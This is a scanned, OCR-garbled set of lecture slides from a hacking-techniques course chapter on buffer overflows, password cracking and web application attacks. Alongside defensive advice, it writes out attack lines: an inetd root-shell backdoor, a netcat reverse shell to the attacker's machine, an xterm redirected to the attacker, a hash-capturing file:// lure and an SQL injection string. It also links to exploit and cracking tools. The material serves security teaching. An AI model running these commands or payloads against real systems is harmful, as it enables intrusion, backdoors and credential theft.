Chapter 7
Phase3: Gaining Access Using
Application and Operating
System Attacks




L_ocating Exploits

=+ Packet Storm Security

. http://packetstorm.securify.com
| ¢ Technotronic Security Information
& http://www.technotronic.com

¢ Security Focus Bugtrag Archives
http://www.securityfocus.com



http://packetstorm.securify.com/
http://www.technotronic.com/
http://www.securityfocus.com/
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 Filename.___ i owvenloaded
1:rpc.statd.automountd.bounce.txt [23] 2565

Older versions of rpo.statd and automountd for various platforms allow remote
attackers to execute arbitrary commands and gain root privileges. Sun patches
available.

-Z:Cn—gﬁ.ﬂg.rgc:.statd [23] 1626

This advisory describes a vulnerability in the rpc.statd (or statd) program that
allows authorized users to remove or create any file that a root user can.
wvendor information is included.

3:g-16.5GIL.rpc.statd. vulnerability.asc [23] 242
g-16.5GI.rpc.statd . vulnerability .asc

4:9-22.rpc.statd.vulnerability.asc [23] 305
g-22.rpc.statd . vulnerability .asc

S:rpc.statd.x86.c [23] 2171
Linuxf=86 rpc.statd remote root exploit. By Doing courtesy of Bugtrag
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Fig 7.1 Searching Packet Storm for a common vulnerability exploit




Application &
Operating System Attacks

¢ Stack-based buffer overflow attacks
= 7+ Password attacks
¢ Web application attacks




¢ Allows attacker a way to execute arbitrary
~ commands and take control of a vulnerable
- machine
=+ “Smashing the Stack for Fun and Profit”
http://packetstorm.securify.com/docs/hack/smashstack.txt
¢ Any poorly written application or operating
system component could have a stack-based
buffer overflow



http://packetstorm.securify.com/docs/hack/smashstack.txt

What Is a Stack

- ¢ A data structure that stores important
Information for processes running on a
computer

= 4 Used to store information associated with

function calls on the computer

¢ Used to store function call arguments,
return instruction pointer, frame pointer,
and local variables



void sample function(void) «
{
char butfer[10];

printf ("Happy Happy!\n");
return: The flow transitions to

’ the function here.
) \@ e now returm to

the main procedure

Execution .
starts here._" flath ”{

sample function();
printf ("Hello World!\n"};

}

Fig 7.2 Sample code with function call




Fill Direction
Bottom of Memory

BUFFER
(Local Variable 1)

SAVED FRAME PTR

RETURN POINTER

FUNCTION CALL
ARGUMENTS

Top of Memory

Fig 7.3 A normal stack




vold sample function(char *string)

{ The local variable "buffer”
char buffer([l16) ; €— can hold 16 characters,
strepy (buffer, string); <— The strepy function will

turn ; load characters into
FERuEn buffer until it finds the
i end of the string... but
the string is far longer
A than the buffer!

{
char butfer (2561 ; 4 e e
int 1; |

for{i=0; 1i<255; i++) < Shove the character 'A'

into big_buffer. ..
239 times!

sample function({big buffer); 4—@5'3”‘31 the big buffer to
- - the function.

big buffer[i]="A";

Fig 7.4 Buffer Overflow sample program




Fill Direction
Bottom of Memory

Buffer space s MACHINE CODE-: E Return pointer now points
overwritten with _ i into the buffer, which
instructions execve (/bin/sh) contains the attacker's
code to run.,

SAVED FRAME PTR

Return Pointer is | NEW POINTER TO
overwritten EXEC CODE

FUNCTION CALL
ARGUMENTS

Top of Memory

Fig 7.5 A smashed stack




Contents of a Buffer Overflow
~ + NOP sled
= — Series of “No Operation™ instructions
¢ Machine language code containing
s=u attacker’s commands

¢ Return pointer




Buffer Overflow documents

¢ Advanced Buffer Overflow Exploit paper
http://ohhara.sarang.net/security/adv.txt

B ¢ http://www.blackhad.com/presentations/bh-asia-
00/greqg/greg-asia-00-stalking.ppt

&+ Windows buffer overflow
http://www.beavuh.org/dox/win32 oflow.txt

¢ ekEye’s buffer overflow exploit on Windows NT
systems running IS
http://www.eeye.com/html/advisories/AD19990608
.ntml



http://ohhara.sarang.net/security/adv.txt
http://www.blackhad.com/presentations/bh-asia-00/greg/greg-asia-00-stalking.ppt
http://www.blackhad.com/presentations/bh-asia-00/greg/greg-asia-00-stalking.ppt
http://www.beavuh.org/dox/win32_oflow.txt
http://www.eeye.com/html/advisories/AD19990608.html
http://www.eeye.com/html/advisories/AD19990608.html

Detection of Stack-based
. overflows by network-based IDS
-+ Match signatures associated with NOP sleds

. ¢ Identify typical machine language exploit
| code to get attackers’ commands executed

8+ Look for frequently used return pointers

assoclated with popular buffer overflows



ADMutate

¢ Tool used evade IDS detection of buffer overflows
¢ http://www.ktwo.ca/security.html

= ¢ exploit code fed into ADMutate which modifies
= the exploit code while retaining the same ultimate
function

— NOP instruction replaced with other code that
functionally does nothing

— Main part of exploit code contains code to decrypt
encrypted Instructions

— Least significant byte of Return Pointer modified



http://www.ktwo.ca/security.html

Things Attackers do after
Stack Is Smashed

- # Force exploit code to spawn a command
shell and enter another command to be
executed by command shell

. = ¢ Shell and command will run under the

context of the vulnerable process
¢ Installing a backdoor using inetd
¢ Backdooring with TFTP and Netcat
¢ Shooting back an Xterm



Creating a Backdoor Using Inetd

- overflow buffer in some root-level program
to run the following command string

Execute this

command When traffic arrives
Run a Type the on the port, run a
command | following Runas  command shell to
shell characters Listen for a stream of ool execute any commands
¢ data on TCP port 12345 that are received.
Y l I I & I I

/bin/sh -c¢ "echo 12345 stream tcp nowait root /bin/sh sh -i"
>> /etc/inetd.conf; killall -HUP inetd

I |
T Make inetd reread its
Add this whole instruction into configuration file for changes
the inetd configuration file to be implemented




Backdooring via Netcat

¢ Netcat: A tool used to push a command shell
prompt across the network

= ¢ Overflow buffer of victim with command to
% spawn a shell to download Netcat from attacker’s
machine via TFTP and then run Netcat

¢ Victim machine runs Netcat configure to execute a
shell and push it to the attacker’s machine

¢ Attacker’s machine is also running Netcat, but Is
configured to wait for a connection from victim




Crerflow buffer with command
o THTP Netcat and set up backdoor

Rur;
ne attacker 7777 -2 /binfsh

Metcat with comm and shell

L 0P port £47 7 on
attacker’s machine

@ Interact with command prompt on victim!

May be single or
multiple machines

Fig 7.6 Placing a backdoor using buffer
overflows, TFTP, and Netcat



Shooting back Xterms

o+ Useful against networks that block
= Incoming connections but allow outgoing
connections

.= o Allows attacks to gain command-line access

to victim machine

— victim machine’s configuration need not be
modified

— No additional software needs to be installed on
victim machine



Shooting Back Xterms
Step-by-Step

¢ Attacker configures his own machine to accept
Incoming X sessions from the target machine via
“xhost +victim”

¢ Attacker overflows the buffer of vulnerable
program on the target machine with shell
command to run the Xterm program and directing
the display to the attacker’s machine

¢ Commands typed by attacker into Xterm are
executed on the victim machine.



Overflow buffer with
command to send xterm
to attacker's machine

L

@ Outgoing xterm  [SSEsE==]

£t

# Sdisplay=
attacker:0,0
* xterm&

@ INnteract with xterm

Fig 7.7 Getting an Xterm using a buffer overflow



Examples of widely used Exploits

¢ 1IS Unicode exploit which lets an attacker execute
commands on a Windows NT/2000 machine

running IS
http://www.wiretrip.net/rft/p/doc.asp?id=57

. wu-ftp string input validation problem
http://www.kb.cert.org/vuls/id/29823

¢ Rainforest Puppy’s RDS exploit which lets an
attacker execute commands on a Windows NT

server running 1S
http://www.wiretrip.net/rft/p/doc.asp?1d=1



http://www.wiretrip.net/rft/p/doc.asp?id=57
http://www.kb.cert.org/vuls/id/29823
http://www.wiretrip.net/rft/p/doc.asp?id=1

Security Mailing Lists

~ + BugTrag
= http://www.securityfocus.com/frames/?content=/f
orums/bugtrag/intro.html

\o& o CERT
http://www.cert.org/contact_cert/certmaillist.ntml

¢ SANS Newsbite mailing list
http://www.sans.org



http://www.securityfocus.com/frames/?content=/forums/bugtraq/intro.html
http://www.securityfocus.com/frames/?content=/forums/bugtraq/intro.html
http://www.cert.org/contact_cert/certmaillist.html
http://www.sans.org/

Defenses against Stack-Based
Buffer Overflow Attacks

= Keep systems patched
. ¢ Subscribe to security mailing lists

=1 o Subscribe to vendors’ mailing lists
! ¢+ Remove unneeded services from servers

¢ Control outgoing traffic such as X



Defenses against Stack-Based
Buffer Overflow Attacks (cont.)

¢ Configure operating systems with
nonexecutable stack

— Solaris: add the following to /etc/system file
 set noexec_user stack=1
 set noexec_user stack log=1

— Linux: apply a kernel patch
http://www.openwall.com/linux/README

— Windows NT: install SecureStack
http://www.securewave.com/products/securesta
ck/secure stack.html



http://www.openwall.com/linux/README
http://www.securewave.com/products/securestack/secure_stack.html
http://www.securewave.com/products/securestack/secure_stack.html

Defenses against Stack-Based Buffer
& Overflow for Software Developers

¢ Avolid programming mistakes involving
allocation of memory space

¢ Check the size of all user input

¢ Use automated code-checking tools such as
ITS4 (It’s the Software, Stupid — Security
Scanner) http://www.cigital.com/its4/



http://www.cigital.com/its4/

Password Guessing Attacks

- Users often choose passwords that are easy
to remember, but are also easily guessed

¢ default passwords used by vendors left
& unchanged

¢ Database of vendor default passwords
http://security.nerdnet.com



http://security.nerdnet.com/
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Fig 7.8 An online database of default passwords




Password Guessing through
Login Scripting

¢ THC-Login Hacker tool http://thc.inferno.tusculum.edu
¢ Authforce http://kapheine.hypa.net/authforce/index.php

brute_ssl and brute_web
http://packetstrom.security.com/Exploit Code archive/brute
ssl.c

http://packetstrom.security.com/Exploit Code archive/brute
web.c

Windows NT password guessing
http://packetstorm.securify.com/NT/audit/nt.remotely.crack.
nt.passwords.zip

¢ Xavier http://www.btinernet.com/~lithiumsoft/
¢ Guessing email passwords using POP3 protocol:

Hypnopaedia
http://packetstorm.securify.com/Crackers/hypno.zip

Other password guessing tools
http://packetstorm.securify.com/Crackers



http://thc.inferno.tusculum.edu/
http://kapheine.hypa.net/authforce/index.php
http://packetstrom.security.com/Exploit_Code_archive/brute_ssl.c
http://packetstrom.security.com/Exploit_Code_archive/brute_ssl.c
http://packetstrom.security.com/Exploit_Code_archive/brute_web.c
http://packetstrom.security.com/Exploit_Code_archive/brute_web.c
http://packetstorm.securify.com/NT/audit/nt.remotely.crack.nt.passwords.zip
http://packetstorm.securify.com/NT/audit/nt.remotely.crack.nt.passwords.zip
http://www.btinernet.com/~lithiumsoft/
http://packetstorm.securify.com/Crackers/hypno.zip
http://packetstorm.securify.com/Crackers

Password Cracking

: + More sophisticated and faster than password
~guessing through login script

| ¢ Requires access to a file containing user
& names and encrypted passwords

¢ Dictionary attacks
¢ Brute force attacks
¢ Hybrid dictionary and brute force attacks




* Create a password guess
* Encrypt the guess

* Compare encrypted guess with
encrypted value from the stolen
password file

* |f match, you've got the password!
Else, loop back to the top.

Fig 7.9 Password cracking is really just a loop



Password Cracking Tools

¢ LOphtCrack, a Windows NT/2000 password
cracker http://www.l0pht.com/I0phtcrack

= ¢ John the Ripper, a Unix password cracker
B  http://www.openwall.com/john

B o Crack, a Unix password cracker

nttp://www.users.diron.co.uk/~crypto/

¢ Pandora, a password cracker for Novell
nttp://www.nmrc.org/pandora

¢ PalmCrack, a Windows NT and Unix password
cracker that runs on the Palm OS PDA platform
http://www.noncon.org/noncon/download.html



http://www.l0pht.com/l0phtcrack
http://www.openwall.com/john
http://www.users.diron.co.uk/~crypto/
http://www.nmrc.org/pandora
http://www.noncon.org/noncon/download.html

L OphtCrack

¢ Tool used to crack Windows NT/2000
passwords

| ¢ Easy to use GUI interface

= + Runs on MS Windows 9%, NT, and 2000
systems

¢ Free trial period of 15 days




Cracking Windows NT/2000
Passwords Using LOphtCrack

.+ Attacker must get a copy of the encrypted/hashed
password representations stored in the SAM
database of target machine

¢ LOphtCrack includes “pwdump” tool for dumping

Windows NT password representation from a
local or remote machine across the network

— Requires administrator privileges on target machine
¢ Pwdump3 http://www.ebiz-tech.com/pwdump3/

allows attacker to dump passwords from a SAM
database or a Windows 2000 Active Directory



http://www.ebiz-tech.com/pwdump3/

Cracking Windows NT/2000

Passwords Using LOphtCrack (cont.)

.« Boot system from a Linux or DOS floppy disk and
retrieve SAM database at
%systemroot%\system32\config

— Since DOS cannot read NTFS partition, attacker can
use NTFSDOS program
http://packetstorm.securify.com/NT/hack/ntfsdos.zip to
access SAM database

— To access NT and 2000 passwords from Linux boot
disk
http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html

¢ Use LOphtCrack’s SMB Packet Capture tool to
sniff a user’s password off of the network


http://packetstorm.securify.com/NT/hack/ntfsdos.zip
http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html

Tools Options X |
— Dictionary Attacks ——
[V LANMAN | OK I

v NTLM |

Cancel

Dictionary/Brute Hybnd
[v Enabled I2 Characters

— Brute Force Attack
[v Enabled

Character Set:
|52, 0-9, IGH% 8 _+= ~|

Fig 7.10 Configuration options for LOphtCrack




& C:\tools\passwords.lc - LOphiCrack 2.5

Fle o Jools Window Hep

(=1

Vords nm:lzgi.ss

J,|29155 ].wu L hens

“

Uzer Nane LanMan Password | <8 | HT Password LanHan Hash NT Haszh
Guest NO PASSWORD NO PASSWORD NO PASSWORD NO PASSWORD
alfredo APPLE x apple E79REcACESCEFEFEAADIEAZEBEL404EE EEBETLFAOT4DASEESA
rhoades x A399439EZ0RE4TZ4ARDIEdIEBEL404EE TEBEZE4ED71EELIDZES
anizh GLOEAL @ global FEI45DL3S003E0EEAADIE435B51404EE DELESIAEZZ ZETAACDO
al FOSTER ¥ foster Z0ZE38FS9EBA405DAADIE435B51404EE \DBB225837025CF566
brian SELL ¥ sall FOSFEEEE23BOSFREAADEQZEBEL404EE 733607FCEC32Ee5DEF
H
I

Fig 7.11 Successful crack using LOphtCrack




Using LOphtCrack’s Sniffer

¢ make the password hash come to you for
authentication
— Send email containing URL
file://attacker-pc/sharename/message.html

— When victim clicks on URL, victim’s machine attempts
to mount the share on attacker’s server using a
challenge/handshake protocol

— Password hash is captured by attacker-pc running
L Ophtcrack’s integrated sniffing tool

— Password hash is fed into LOphtcrack to retrieve user’s
password




B Very Very Important Messagelll - Netscape Message =] E3

File Edt “iew Go Message Communicator Help
i -:T 4 - J_,"\.,\q- - o .' =
Yy b W N w Y S v B N
GetMzg MewMsg HReply  Reply &l Forward File Mext Prirt Delete Sioe
=l Very Very Important Message!ll The Boss 4

Subject: Very Very Important Message!!!
Date: Sun, 31 Dec 2000 07:48:21 -0500
From: The Boss <bossi@examplecompany.com™

To: skoudis@bellatlantic. net

Ed,

YTou must read thiz file and respond ASAF! It's critical that we get
yvour input!

==The EBEoss

file:\\SOMESERVER\NT=tuffimessacge . html

& b= \Dacument; Dane

Fig 7.12 Would you trust this email?




= {SMB Packet Capture Output I ] B4
Source IP Destination IP | Domain\Userame Challenge LanMan He
10.1.1.106 10.1.1.75 EDWORKSTATION \efs 1ed195189... ddob22ac
«| b
Save Eapturel Clear Capture Done

Fig 7.13 LOphtCrack’s integrated sniffer captures the
challenge/response from the network for cracking




& 4 C:\tools\LOphtCrack 2.5\pwsniff - LOphtCrack 2.5
File Edf Tools Window Help

=101

Words DDM:FSLE? J,|zs.15'? |1uu \ Done E
User Hams LanMann Password | <8 | NT Password Lanllan Hash
EDWOPESTATION \efs WASHINGTON washington lédcbhedb8867eda3idbas

Fig 7.14 Successful crack of sniffed challenge/response




John the Ripper

-+ Used to crack Unix and WinNT passwords

¢ Runs on Unix, Win9x, NT, and Win2000
. systems

& + Automatically detects the encryption
algorithm used

¢ Quickly generates many permutations for
password guesses based on a word list



 root@eve: fhomertoolsfjohn-1.6/run
cdit  oettings  Help

[rootBeve runl¥ cat /etc/passud

root tx :0:0root { Srook 2 /bindbash

binix:l:libin:/bing

dasmonixi2i2 idaenon: /ebing

adm x13d radm  vardade e

lpixid:7ilps/varispool Alpd:

syncix 1Bi0tsync:/shini /bindsync

shutdown ix:6:0:shutdown: /shin: /sbhin/shutdoun

halt tx 7 10thalt : /shint /shin/halt

mail ;x:B:12:mail :/var/spool /mail ;

rews 913 newe  fvar /epool /neus

wucp tx:10:14 tuucp : fvar /spool fuuce ¢

operatorixi11:0operator ; /root.

gamesix:12+100:games ! /usr/ganes?

gopher %113 :30:zopher : /usr/lib/gopher—data:

ftptxt1d:50+FTP User:/hone/ftp:

riobocky $x 199 +99 Nobody & /

xfas s d3" 4 :

- T 2R thmefgdn fblnfbash

allce x? 501 501:Alice T, User:/home/users/alice!/binsbash

fred:x:502:502:Fred Smitht/hones/users/Fred: /bin/bash

susanix 15031503 :Susan P, Jones:/home/users/susan:/bin/bash

robert x 1504 :504 :Fobert Gonzalez:/home/users/robert ;: /bindbash
root@eve runl# |

Fig 7.15 When password shadowing is used, the /etc/passwd
file contains no password




root@eve: /root I

File Edit Seftings Help

[rootBeve froot]d | . fe Y

root:$1¥ Chi#: Fel/85bisbrall /:11229:0:99999 7 +=1 1=1 1134540356
bin:=:11.

e g
1011 ™ &

e

Ltcloun

The encrypted password
for each user,

-----

-----

2181 shuaghPar
1: 1 #0UDutmr8

Uh-oh! Robert doesn’t
have a password.

Fig 7.16 The corresponding /etc/shadow file contains the
encrypted passwords



Retrieving the Encrypted
Password File

¢ find an exploit that will perform a stack-based
buffer overflow of an SUID root program to gain
root access

; ¢ Force a process that reads the encrypted password
file to generate a core dump (memory dump of a
dying process)

— Crash one Instance of a FTP server

— Use another instance of the FTP server to transfer the
core file to look for passwords to crack




Configuring John the Ripper

¢ Attacker must feed John with a file that has
all user account and password information

¢ May need to merge /etc/password and
= /etc/shadow via “unshadow”




Edit Settings Help

[rootBeve runl# | /unshadow Jetc/passwd /etc/shadow > passwd.l
[rootEeve runl# cat passwd,.l
root : 1 $sunys0Ch#a00LL <5MF U /80bisbrall/ :0:0 troot. : froot. : /bindbash
bint*:1:1:bin:/bin:
daemon :* 122 tdaemon : /sbin:
aclm :%:3:d2adm : fvar/adm ¢
lp=id:/ilps/var/spool /lpd:
sync:*:5:0:sync:/shin: /binfsync
] shutdown:#*:6:0shutdown:/sbini/sbin/shutdown
halt :#:7:0thalt :/shint/shin/halt
mail :#:8: 12 mail : /var/spool /mail :
newsi*3:9:15:news : var/spool /news
gl uucp %1100 14 tuuce t Avar /spool Juuce
M operator:*:11:0:o0perator: froot
games ;#3112 100 ganes § fusr/ganes
sopher 1213130 1oopher ¢ /usr/lib/gopher—data?
Ftpt*114:50:FTP User:/hone/ftp:
nobody :# $99:99 :Nobody ¢ /3
xtg:ll1ds5:d5:H Font Server:/etc/ill/ /st /bin/false
ocim 2 | 1242 :42 2 2 Shome f2dm : /bindbaszsh
alice:#lshugokPnr$THLOUManal /vOcoSbuyvM21:501:501:Alice T, User:i/home/uzerssalice
t ‘bin/bash
fred: #1+0UDutnr8$TeF Jor9xiaMILGmzU9ILKW 0502 :502 :Fred Smith:/hone/users/fred:/bin
‘bash
susan : $13UHT ILS 7 #7 iMEpzcNd/nVMECCO0IUR / 15031503 :5usan P, Jones:/hone/users/susa
n:/bin/bash
robert :x:504 :504 :Robert Gonzalez: /homel/users/robert : /bin/bash
[rootBeve runlé [

Fig 7.17 Running the unshadow program from John the Ripper




rooti@eve; /homeftoolsfjohn-1.6/run

Edit =ettings Help

john passwd,l
salts (FreeBSD MDS ([32/32])
) cfs: 416 truing: alicealicet
cis: 4 bryingd AL

Status checks =«

Lime?
time:
Lime:
: 1 talice)

| Successfully g time; 0:00:03:26 , (2) ofs: 411 trylng: latem

quessed LI : time: O - ] 1¢ + 411 truing: lalpine

- " 1 time: ( 1k fgt 412 trying: LESLIE
time; C D 10 : ’s1 411 trying: PROMETHE

[ASSWOrds

Lime:
times

Letneins

Fig 7.18 Running John the Ripper to crack passwords
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Defenses against
Password-Cracking Attacks

DO not select passwords that can be easily guessed
0y an automated tool

DO not use dictionary terms
Change passwords at specified intervals

Know how to create a good password

— Use first letters of each word from a memorable phrase,
mixing in numbers and special characters

Use password filtering software to prevent users
from choosing easily guessed passwords

Use one-time password tokens or smart cards
Use 2 or 3 factor authentication




. o Windows NT

Password Filtering Software

¢ Unix platform
— Npasswd ftp.cc.utexas.edu/pub/npasswd
— Passwd+ ftp.dartmouth.edu/pub/security

— Passprop, available in MS WInNT Resource Kit
— Passfilt.dll included in Service Pack 2

— Password Guardian www.georgiasoftworks.com
— Strongpass http://ntsecurity.nu/toolbox

— Fast Lane http://www.fastlanetech.com



ftp://ftp.cc.utexas.edu/pub/npasswd
ftp://ftp.dartmouth.edu/pub/security
http://www.georgiasoftworks.com/
http://ntsecurity.nu/toolbox
http://www.fastlanetech.com/

Web Application Attacks

¢ Can be conducted even iIf the Web server uses
Secure Sockets Layer (SSL)
— SSL used to authenticate the Web server to the browser

— SSL used to prevent an attacker from intercepting
traffic

— SSL can be used to authenticate the client with client-
side certificates

¢ Web attacks can occur over SSL-encrypted
connection
— Account harvesting
— Undermining session tracking
— SQL Piggybacking



Account Harvesting

-~ # Technique used to determine legitimate
userlDs and even passwords of a vulnerable
application

.= + Targets the authentication process when

application requests a userlD and password

¢ Works against applications that have a
different error message for users who type
In an incorrect userlD



This error
message is

Used when | ]

File fdit Vl?h&i Go  Communic generati ng b Help
- oS a the screen. = s (=3 Q
Back Eorvars Reload ape = . Shop S

wi¥ = Bookmarks A Location: [http: //www. mockbank, com/bank/e 7| &7 What's Related

Shop

i o News ¢ Downloads g2 Software ¢ Hardware ¢ Developers

Mock Bank ERROR
e ——

An error has occurred.

Login error! Invalid user 1D or password. Please try again
Flease click here to return to the login screen.

Copyright © 2001 Global Integrity Security Services
Mock Bank by Arion Lawrence <arionlawrenced@ globalintegrity.coms

= | 'Go 1o the Home page e e |

Fig 7.19 Mock Bank’s error message when a user types an invalid userlD




MNetscape: Welcome

[=I[Bi[x]
Halp. |

@ | LN
Shop Slc

. .|I"'| =117 What's Related
4 Mews 4 Downloads 47 Somware 4 Hardware 4 Developers 4 Help ¢ Search 4 Shop

This error code
File Edit WView Go Communicator has chan ed: even

- e though the text
ﬂ. _ > 4 | remains identical
Back Eonwvard Reload Ho

e

.'t| ‘u" Bookmarks ..g!l. Location: i‘;ttp. S mockbank . consbank scxo

-

Mock Bank ERROR

ﬁ

An error has occurred.

Login error! Invalid user 1D or password. Please try again
FPlease click here to return to the login screen.

Copyright © 2001 Flobai Integrity Security Services
MMock Bank by Arion Lawrence < aronlawrence(@ globalinte grity. com=

= | I

b Jdb AF Eal N2
Fig 7.20 Mock Bank’s error message when a user types a
valid userID, but the wrong password




Account Harvesting Defenses

+ Make sure that error message Is the same
when a user types in an incorrect userlD or
password




Web Application Session
Tracking

¢ Most Web application generate a session ID to
track the user’s session.

¢ Session ID is passed back and forth across the
~.  HTTP or HTTPS connection when client browses
web pages, enters data into forms, or conducting
transactions

¢ Session ID allows the Web application to maintain
the state of a session with a user

¢ Session ID is independent of the SSL connection
¢ Session ID is Application-level data



Implementing Session IDs in
Web Applications

URL session tracking
— Session ID is written directly on browser’s location line

Hidden form elements
— Hidden Session ID element put into the HTML form

— Session ID can be seen by user by viewing HTML source
code
<INPUT TYPE="“HIDDEN” MAME="Session” VALUE="22343">
Cookies
— Most widely used session-tracking method

— Cookie i1s an HTTP field that the browser stores on behalf of
Web server, containing info such as user preference and
session 1D

— Per-session cookie Is stored in browser’s memory
— Persistent cookie is written to the local file system of client




# Netscape
Fle Edt ‘iew Go Communicator Hep

A Y T

jock Fowed Aeosd Home Seach  Netscape Pl Securly

The Session [D
15 Included In
the URL. E'

“.;"Eudtmm Ko Goler[rvps: /i skoudsatuf, com/acctbal aspTside3411232

| 3" Whats Reled

SinartMessage B webdal U Cotact W) Peopie ¥ YelowPages (& Download W) FindSites (4 Chanels (4

Fig 7.21 Session tracking using the URL



Attacking Session Tracking

Mechanisms

-~ # Attacker changes his session ID to a value
assigned to another user

— Application thinks that attacker Is the other user




I [=] 3

:[# Metscape HTTP Cookie File |
. |# http://www.netscape.con/newsref/std/cookie spec.html
# This 1is a generated file! Do not edit.

< | .skoudisstuff.com FALSE / FALSE 980981294 sessionlD I

Fig 7.22 Editing persistent cookies to modify a session 1D
using notepad




Achilles

NEENNES

¢ Archilles allows attac
fields, per-session anc

¢ Attacker’s browser configured to send all HTTP and
~  HTTPS data to Achilles

= 4 \Web browser and proxy can run on same or different

er to edit all HTTP/HTTPS
persistent cookies, hidden

form elements, and U

RLS.

¢ Supports HTTPS connections
— one SSL connection set up between browser and Achilles
— Another SSL connection set up between Achilles and

Web server


http://www.digizen-securitycom/

A Achilles [Ver . 0.16.b)

i Intercept Modes r I_"mw Settings - Stop
¥ Intercept Mode ON Listen on Port: |'5012ID
either direction— | I Intercept ServerDalaltesd) | | e s yineouifsec) [
browser to server | [ LogloFie Server Timeou (sec) [ Ghod
or senver 1o | I \
browser HTTP/1.1 200 OK, =]
3 2001 I'.'IEI'13‘22 GMT
Allows <IDOCTYPE HTML FUBLIC " /ETF//DTD HTMLA/EN™:
O ¢HTML» < HEAD> ¢ TITLE 'Welcome to Trustwarthy Banlk Dot Comil</TITLE »
Edm"g of any «/HEAD><BODY BGCOLOR="gilver" TEXT ="black™> ¢<H1>Welcome to Trustwlprthy Bank Dot Comll</H1>»

CDOkiE‘S, pergigtent ¢HR><FORM METHOD="POST" ENCTYPE ="application/s-vww-form-urlen d">
or Der-session Your Account Nurier: <INPUT TYPE="text” NAME ="account” SIZE=30 <BRXrour PIN: <INPUT TYPE="text" N
P ) <P»Your savings & nt balance ii: <STROMG:> $ 10,00 {/STRONG><P> <& HREF="/"+G0 o the home page<f

" Includes a built-in
Editing of any certificate—nice touch!
HTTP or HTML field |
| ]

_Send |

Fig 7.24 The Achilles screen




Achilles [VWer . 0.16.b)

Referer: http:/Ary pahoo. comd ?myHome

Froxy-Connection:; Keep-alive

User-fgent: Mozillas4.67 [en] PwWinMT: 1)

Host: login.wahoo. com

Accept: imagesgif, image <-xbitmap. image/jpeq. image/pjpeaq, image/pnag, */~
BAoccept-Encoding gzip

Socept-Language: en, pdf

Sccept-Charset: iso-8859-1,% utf-8

II:DDIciE: B=fmin2ustl2qgbutb=2

: 1 Intercept Modes i Prowy Settings
¢ | [ Intercept Mode OM | Listen on Port: IEUDD
© | ¥ Intercept Client Data ' Cert File [.pem) |D:\toolshachilleshsample. pem |
[V Intercept Server Dataltext] : :
. | Cliert Timeout [zec] |"1
[T Logto File i About
i Server Timeout [sec] |3
POST Aconfig/logn HTTRPA1.0 :l

Fig 7.25 Handling HTTPS with Achilles




Defending against Web Application

Session-Tracking Attacks

_ + Digitally sign or hash session-tracking information

¢ Encrypt information in the URL, hidden form
element, or cookie

= = ¢ Make sure that your session IDs are long enough

to prevent accidental collision

¢ Apply a timestamp within the session ID variable
and encrypt it

¢ Allow users to terminate their sessions via a
logout button which will invalidate the session ID

¢ Scan your web site via AppScan
http://www.sanctuminc.com



http://www.sanctuminc.com/

SQL Piggybacking

~ 4 Attacker may can extend an application’s SQL

statement to extract or update information that the
attacker Is not authorized to access

¢ “How | Hacked Packetstorm”
http://www.wiretrip.net/rfp/p/doc.asp?id=42
¢ Attacker will explore how the Web application

Interacts with the back-end database by finding a

user-supplied input string that will be part of a
database query



http://www.wiretrip.net/rfp/p/doc.asp?id=42

] letscape: Welcome

Help
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i ®2 3 @ 2 @w < & B @
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I'l i~ Bookmarks A& Localion: [hetp : /v, mockbank. com/bank /dbseacch. epl

+| @37 Whar's Related

i| 4 News g Downloads ¢ Software 4 Hardware o Developers g Help 4 Search g Shop

Mock Bank ACCOUNT SEARCH
ﬁ
Ly

Please enter the Account Number you want to search for

Logout 11111111111111111]

Search

o

Fig 7.26 Figuring out how the Web application interacts with a database



B8 Netscape: elcome The location line —@

Fie Eddt View Go Communicatar cﬂntar!ln;l[?e - Hulp
. g : searched for ;
e % - value 1Elﬁi- 4 N
i Back Forward Reload Hame Search - 10 -
J _“!' Bookmarks .Jr. Location: [hl:t,p:.-f.-fuw. mockbank. com/bank fdbsearchdoit. epliace i E' Whal's Reladed
i & News @ Downloads g% Sofware @ Hardware ¢ Developers g Help ¢ Search 4 Shop

Mock Bank ACCOUNT SEARCH
———

Hﬂ“l The account was not found.
Logout

e b e B BT T e LY : e LRIV S o ¥
=3 |

Fig 7.27 The location line contains the account number searched for




Attacker types in
various characters

File Edt View e here in a trial and relp |
| <« =« 3 4 =2 { error process. 1
. Eack Fonvsmd  Reload Home Sezrch  MNeltTHTe I g ST Blap

| i~ Eookmerks & Locatior: fheen: //vww neckbark com/bunk /dhssarehdois. spl7aczount=1111111111111111 65ubmiv-Sanreh 4| {0 Whal's Related

|| 4 News 4 Dowrloads o Scivare o Hardware o Developers o Help o Search o Snop

Moeck Bank ACCOUNT SEARCH

#

You have an ervor in your SOQL syntax near "1111111 11111 81117y
at line 1

SELECT * FROM account WHERE (userid="10001" and
number-"1111111111111111y

The account was not found.

Eureka! The attacker
now knows how data
from the location gets
stuffed into an SQL
query based on this
error message.

Comwricht £ W0 lahod Tntesiv Socumhe Semidres

Fig 7.28 A very useful error message




SQL Statement used by application

This value is the attacker’s userlD,
automatically entered into thle SQL
query by the Web application.

'

CSELECT * FROM account WHERE (userid='10001' and number
=' INPUT FROM LOCATION LINE')

T

Here is where the input from the
location line is entered into the
SQL statement.

SELECT * FROM account WHERE (userid='10001' and number
="1111111111111111"' or userid='10002")

Added by the attacker to the browser's location line




] retscape: Welcom
Flle Edd WView Go Communicator

Help

- - Attacker adds this information to
<« = 3 H s 4}
Back  Forvard  Reload Hame the location line. N

|'| “" Eookmarks .&. Location: |m nockbank. com/bank/dbsearchdoit. epliaccounts1111111111111111" sorsusecididd’ LO002ESabmi f| ﬁ' What's Ralated

i 4 News P Downloads o Software o Hardware g Developers o Help o Search ¢ Shop

Mock Bank ACCOUNT SEARCH
ﬁ

‘Account Number | Balance
1000111122220001 | 1003.54
1000111122220241 | 5371.23
1000000000000611 | 1442.32

The attacker can read account
balances for the other user.

i

Fig 7.29 Gaining unauthorized access with SQL piggybacking



Defenses against
Piggybacking SQL Commands

¢ Web application must be programmed to
carefully filter user-supplied data

¢ Potentially damaging characters (such as
" *% ) should be filtered at server side

¢ World Wide Web Security FAQ
http://www.w3.0rg/Security/Fag/www-
security-fag.htmil



http://www.w3.org/Security/Faq/www-security-faq.html
http://www.w3.org/Security/Faq/www-security-faq.html
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